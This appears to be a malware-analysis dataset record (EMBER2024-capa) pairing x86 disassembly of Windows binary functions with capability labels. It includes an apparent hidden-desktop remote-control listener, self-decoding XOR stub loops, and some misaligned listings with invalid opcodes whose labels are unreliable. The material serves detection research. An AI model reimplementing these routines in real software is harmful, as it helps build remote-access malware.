joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4078d0
Capabilities:
Compress data via winapi
Create thread
Get local ipv4 addresses
Get socket information
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ec
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.ntdll.dll
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.RtlDecompressBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x440de8
mov dword [0x43cde4], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x4000
push 0
push 0x43cde8
call fcn.0040b6c0
mov esi, dword [sym.imp.USER32.dll_LoadIconW]
add esp, 0xc
mov dword [ebp - 0x1ec], 0x30
mov dword [ebp - 0x1e8], 8
mov dword [ebp - 0x1e4], 0x406bd0
push 0x7f00
push 0
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0x1dc], 0
mov dword [ebp - 0x1d8], 0
call esi
push 0x7f00
push 0
mov dword [ebp - 0x1d4], eax
call dword [sym.imp.USER32.dll_LoadCursorW]
push 0x7f00
push 0
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], 5
mov dword [ebp - 0x1c8], 0
mov dword [ebp - 0x1c4], str.HiddenDesktop_ControlWindow
call esi
mov dword [ebp - 0x1c0], eax
lea eax, [ebp - 0x1ec]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
lea eax, [ebp - 0x1b8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x407a90
push eax
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x407a90
mov eax, 2
mov dword [ebp - 0x10], 0
push edi
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x407a90
push 5
push esi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x407a90
lea eax, [ebp - 0x1bc]
mov dword [ebp - 0x1bc], 0x10
push eax
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_getsockname]
push dword [ebp - 0x12]
call dword [sym.imp.WS2_32.dll_ntohs]
movzx eax, ax
push eax
push str.___Listening_on_Port:__d_n_n
call fcn.00401170
mov edi, dword [sym.imp.WS2_32.dll_accept]
add esp, 8
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
nop
lea eax, [ebp - 0x1bc]
push eax
lea eax, [ebp - 0x24]
push eax
push esi
call edi
push 0
push 0
push eax
push 0x407240
push 0
push 0
call ebx
jmp 0x407a70
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407aa3
mov esp, ebp
pop ebp
ret

Function at 0x408448
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x408487
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x408487
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x408487
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x408487
cmp dword [ecx + 0x74], 0xe
jbe 0x408487
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x409d0b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x409d2c
jl 0x409d23
test edi, edi
jne 0x409d2c
xor eax, eax
xor edx, edx
jmp 0x409ded
cmp dword [ebx + 0x38], 0
je 0x409d41
push eax
push edi
push dword [ebp + 8]
call fcn.00409df3
jmp 0x409ded
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x409d88
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x409d88
cmp eax, edi
jb 0x409d62
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.0040b8d0
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x409d8e
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x409de2
mov ecx, ebx
call fcn.0040955d
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x409dcd
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.0041a2d2
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x409de2
jmp 0x409da0
test edx, edx
je 0x409de2
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0041a2d2
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x41cce5
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x433140
push 0x433138
push str.FlsAlloc
push 0x1f
call fcn.0041cb50
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41cd19
push dword [ebp + 8]
mov ecx, esi
call dword [0x42f228]
call esi
jmp 0x41cd1f
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x41cd63
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x433150
push 0x433148
push str.FlsGetValue
push 0x21
call fcn.0041cb50
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41cd9a
push dword [ebp + 8]
mov ecx, esi
call dword [0x42f228]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x41cda2
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x433158
push 0x433150
push str.FlsSetValue
push 0x22
call fcn.0041cb50
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41cddc
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x42f228]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x4204c1
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x42055e
push ebx
push esi
call fcn.0042048a
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0042041e
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x42050b
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x42055d
push edi
push eax
call fcn.0041d318
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x42052b
call fcn.0041c871
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x42055c
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0042041e
add esp, 0x20
test eax, eax
jne 0x42054a
push edi
call fcn.0041c871
jmp 0x420552
push ebx
call fcn.0041c871
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x422e31
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.0041c4bd
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x422ea0
cmp esi, dword [ebp - 4]
je 0x422e9b
cmp dword [ebp + 0xc], 0
je 0x422e9b
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x422e78
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.00422983
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x422ea2
xor eax, eax
inc eax
jmp 0x422ea2
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x422f07
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.0041c4bd
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.0041c4bd
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x422f7e
cmp word [ecx], dx
je 0x422f7e
mov eax, dword [0x43365c]
push edi
dec eax
push eax
push 0x433548
call fcn.00422ea6
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x422ff1
cmp word [eax], dx
je 0x422ff1
mov eax, dword [edi]
test eax, eax
je 0x422fa2
cmp word [eax], dx
je 0x422fa2
lea eax, [ebp - 0x10]
push eax
call fcn.00422889
jmp 0x422fab
lea eax, [ebp - 0x10]
push eax
call fcn.00422924
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x42301b
mov eax, dword [0x433544]
push dword [ebp - 0x14]
dec eax
push eax
push 0x433238
call fcn.00422ea6
add esp, 0xc
test al, al
je 0x42301b
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x422fe6
cmp word [eax], di
je 0x422fe6
lea eax, [ebp - 0x10]
push eax
call fcn.00422889
pop ecx
jmp 0x42301d
lea eax, [ebp - 0x10]
push eax
call fcn.00422924
jmp 0x422fe3
mov eax, dword [edi]
test eax, eax
je 0x423008
cmp word [eax], dx
je 0x423008
lea eax, [ebp - 0x10]
push eax
call fcn.0042283e
pop ecx
jmp 0x42301b
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x4230e6
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.00422d2b
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4230e6
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x4230e6
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x4230e6
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x423073
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.0041cee2
test ebx, ebx
je 0x4230e1
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.0041cee2
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4230e6
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4230e6
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.0042b366
add esp, 0x10
xor eax, eax
inc eax
jmp 0x4230e8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407aa3
leave
ret
Function at 0x424edc
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0042d600
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041e15c
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x424f1e
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x42507a
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0042d490
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x43ca88]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.004260b2
mov ecx, dword [esi*4 + 0x43ca88]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x425073
cmp eax, dword [ecx + edi + 0x24]
jne 0x425073
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x425073
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004260b2
add esp, 0x14
test edx, edx
jl 0x425073
jg 0x424fe9
test eax, eax
jb 0x425073
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x425073
jl 0x425003
cmp dword [ebp - 0x1008], eax
ja 0x425073
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x425021
test ebx, ebx
je 0x42505a
cmp ecx, edi
jae 0x42505a
mov al, byte [ecx]
cmp al, 0xd
jne 0x42503b
lea eax, [edi - 1]
cmp ecx, eax
jae 0x425047
cmp byte [ecx + 1], 0xa
jne 0x425047
inc ecx
jmp 0x425047
movzx eax, al
movsx eax, byte [eax + 0x43b7d0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x425021
cmp edx, ebx
jne 0x425021
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x425078
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00407aa3
leave
ret
Function at 0x42554a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x43ca88]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x42558a
cmp byte [ebx], 0xa
jne 0x42558a
or byte [edi + eax + 0x28], 4
jmp 0x42558f
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x42568e
mov dl, byte [eax]
cmp dl, 0x1a
je 0x425671
inc eax
cmp dl, 0xd
je 0x4255bb
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x4255e1
cmp eax, ecx
jae 0x4255ef
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x4255a3
jmp 0x42568e
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x42566c
cmp dword [ebp - 0x10], 0
je 0x42566c
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x43ca88]
test byte [eax + edi + 0x28], 0x48
je 0x425646
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x425631
mov byte [esi], dl
jmp 0x425642
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x43ca88]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x42568e
cmp byte [ebp - 1], 0xa
jne 0x425655
cmp esi, ebx
jne 0x425655
mov byte [esi], 0xa
jmp 0x42568d
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004260d0
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x42568e
mov byte [esi], 0xd
jmp 0x42568d
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x43ca88]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x42568b
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x42568e
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x425697
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x43ca88]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4256dd
cmp word [ebx], dx
jne 0x4256dd
or byte [eax + edi + 0x28], 4
jmp 0x4256e2
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x425845
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x425825
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x425723
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x425759
cmp eax, edx
jae 0x425767
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x4256fe
jmp 0x425845
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x425820
cmp dword [ebp - 0x18], 0
je 0x425820
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x43ca88]
test byte [eax + edi + 0x28], 0x48
je 0x4257f6
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x4257ba
mov word [esi], cx
jmp 0x4257f1
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x43ca88]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x43ca88]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x43ca88]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x425845
pop eax
cmp word [ebp - 4], ax
jne 0x425806
cmp esi, ebx
jne 0x425806
mov word [esi], ax
jmp 0x425842
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004260d0
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x425845
push 0xd
pop eax
jmp 0x425801
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x43ca88]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x42583f
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x425845
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x42b6d5
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.0042b651
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x42b844
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x42b844
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x42b7f9
jg 0x42b731
test eax, eax
je 0x42b7ef
push 1
push 0x1000
call fcn.0041bfee
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x42b754
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x42b7e6
push 0x8000
push ebx
call fcn.00417af0
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x42b77d
jg 0x42b778
cmp ecx, 0x1000
jb 0x42b77d
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.004248c5
add esp, 0x10
cmp eax, 0xffffffff
je 0x42b7c2
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x42b778
jl 0x42b7a9
test ecx, ecx
jne 0x42b76a
push dword [ebp - 0xc]
push ebx
call fcn.00417af0
push esi
call fcn.0041c871
add esp, 0xc
xor ebx, ebx
jmp 0x42b852
cmp byte [edi + 0x24], 0
je 0x42b7d9
cmp dword [edi + 0x20], 5
jne 0x42b7d9
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x42b7e4
mov ebx, dword [edi + 0x18]
jmp 0x42b7e6
xor ebx, ebx
push esi
call fcn.0041c871
pop ecx
jmp 0x42b852
test ecx, ecx
jg 0x42b7bb
jl 0x42b7f9
test eax, eax
jae 0x42b7bb
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004260d0
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x42b819
cmp byte [edi + 0x1c], 0
je 0x42b7bb
jmp 0x42b84a
push ebx
call fcn.00420d01
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x42b7bb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x42b852
cmp byte [edi + 0x1c], 0
je 0x42b84f
mov ebx, dword [edi + 0x18]
jmp 0x42b852
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.004260d0
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42d390
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42d3bd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42d3bd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x14c9848
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14c9852
pushal
call 0x14c9858
pop ebp
sub ebp, 0x10
sub ebp, 0x10c9848
jmp 0x14c986e
mov eax, 0x10c9848
add eax, ebp
add eax, 0x4c
mov ecx, 0x5a6
mov edx, 0x731d7cea
xor byte [eax], dl
inc eax
dec ecx
jne 0x14c9885
jmp 0x14c9898
popal
daa
popal
arpl si, dx
ljmp 0xea12

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x417a10
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov cl, byte [0x4c1046]
sub esp, 0x620
and byte [esi], al
add byte [eax], al
mov al, cl
push ebx
mov bl, byte [0x4c1045]
sbb eax, 0x4c1045
and al, bl
push ebp

Function at 0x417a18
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov cl, byte [0x4c1046]
sub esp, 0x620
and byte [esi], al
add byte [eax], al
mov al, cl
push ebx
mov bl, byte [0x4c1045]
sbb eax, 0x4c1045
and al, bl
push ebp

Function at 0x417a30
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov byte [0x4c1045], al
mov eax, dword [0x4c1030]
mov edx, eax
and eax, 8
shr edx, 5
and ebp, edx
xor edx, edx
mov dl, cl
push esi
imul eax, edx
push edi
mov edi, dword [0x4c103c]
adc byte [eax + eax + 0xb], cl
clc
mov dword [0x4c1034], ebp
mov dword [0x4c103c], edi
invalid
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
mov ebp, dword [esp + 0x638]
mov esi, dword [esp + 0x634]
push ebp
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x417b6d
push 0x2a
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
jne 0x417aa5
pop edi
pop esi
pop ebp
invalid
invalid

Function at 0x417aa8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
loopne 0x417af5
add byte [esi - 1], dl
ror dword [edx + 0x4c10420d], cl
add byte [ebp - 0x77], dl
inc esp
and al, 0x18
mov al, byte [0x4c104f]
xor cl, al
mov byte [0x4c1042], cl
mov cl, byte [0x4c1040]
or cl, 0xc
shr cl, 2
jmp 0x22fbd7
add byte [eax], al
add byte [ecx - 0x24ebdbb4], cl
inc esp
and al, 0x14
fdivr qword [0x4c49c8]
fadd qword [0x4c49c0]
fstp qword [0x4c49c8]
call ebx
cmp dword [esp + 0x14], eax
inc esp
and al, 0x14
jne 0x417b6d
mov ebx, dword [sym.imp.KERNEL32.dll_GetStringTypeExW]